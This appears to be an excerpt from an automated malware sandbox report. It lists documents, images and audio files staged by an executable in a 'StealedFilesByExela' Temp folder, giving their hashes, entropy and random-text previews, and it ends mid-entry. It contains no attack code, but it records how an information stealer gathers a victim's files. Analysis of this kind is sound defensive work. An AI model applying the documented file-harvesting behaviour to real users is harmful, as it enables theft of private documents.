FQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
